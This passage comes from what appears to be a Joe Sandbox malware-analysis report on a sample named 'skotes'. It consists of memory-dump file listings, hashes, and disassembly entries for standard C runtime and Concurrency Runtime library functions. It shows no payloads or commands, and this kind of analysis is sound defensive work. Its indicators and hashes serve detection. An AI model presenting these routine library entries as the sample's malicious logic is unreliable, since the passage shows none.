Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 969bcad741ef4b3075010f30677846f909cab962c8ef2de704bc8c5dee354e01
Instruction ID: de68a3e247903d7be37d1a0fd7eeb8e2ae15b078670701ae735f38e8cb941cae
Opcode Fuzzy Hash: 969bcad741ef4b3075010f30677846f909cab962c8ef2de704bc8c5dee354e01
Instruction Fuzzy Hash: 5F819231A00656DFCF58DF68D8A5A6EBBB1BB48320B54802DD445E7252D7386D42CFA4

Function 007C69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 007C6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 007C6A51
List.LIBCONCRT ref: 007C6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 007C6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 007C6AB9
List.LIBCONCRT ref: 007C6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 007C6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007C6B20
List.LIBCONCRT ref: 007C6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 007C6B68

Part of subcall function 007C5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007C5EF7
Part of subcall function 007C5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007C5F09

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 5eb3080586235957bb36502eb13d16dd2590bc8594753fab74ab4b6d6ecd6f54
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: AB513171A00209EBDB08DF54C595FEDB3A8BF08344F15406DE915AB241DB38FE45CB90

Function 007D52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 007D53A0
type_info::operator==.LIBVCRUNTIME ref: 007D53C7
___TypeMatch.LIBVCRUNTIME ref: 007D54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 007D55AE
CallUnexpected.LIBVCRUNTIME ref: 007D5650

Strings

csm, xrefs: 007D53FE
csm, xrefs: 007D534D
csm, xrefs: 007D52E0

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: b71b42dd41ee1d55ff16e95ea51cecb8eea800648773b56c814e4c498258e6de
Instruction ID: b6b92ec0067d267309a0ae1f5a7e56c9ce79f9ef325b44b22429ec7696ca9084
Opcode Fuzzy Hash: b71b42dd41ee1d55ff16e95ea51cecb8eea800648773b56c814e4c498258e6de
Instruction Fuzzy Hash: 3CC1AA71800609EFCF25DFA4D8849AEBBB6BF14315F04415BF816AB312D379DA61CBA1

Function 007D4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 007D4877
___except_validate_context_record.LIBVCRUNTIME ref: 007D487F
_ValidateLocalCookies.LIBCMT ref: 007D4908
__IsNonwritableInCurrentImage.LIBCMT ref: 007D4933
_ValidateLocalCookies.LIBCMT ref: 007D4988

Strings

S9}, xrefs: 007D4925, 007D492E, 007D493F
csm, xrefs: 007D491D

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9}$csm
API String ID: 1170836740-3002177684
Opcode ID: cdc596d316d43f55d91b93ccc142d2437e393291f2ae182c9b3019c2d10cc1bd
Instruction ID: ac4be8125a8b9bca87c841d481640b78b9b668465f17bef79ebffb0b634b391e
Opcode Fuzzy Hash: cdc596d316d43f55d91b93ccc142d2437e393291f2ae182c9b3019c2d10cc1bd
Instruction Fuzzy Hash: E641D834E00248EFCF10DF69C888A9E7BB5FF45314F148156E818AB392D779EA11CB91

Function 007C7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 007C73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 007C73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 007C740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 007C7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007C7440

Strings

ppVirtualProcessorRoots, xrefs: 007C7438
count, xrefs: 007C737E

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: ddddc9ef16adb63e917699573da088b35fd48e89c0c1efcecf770e24fb989cf8
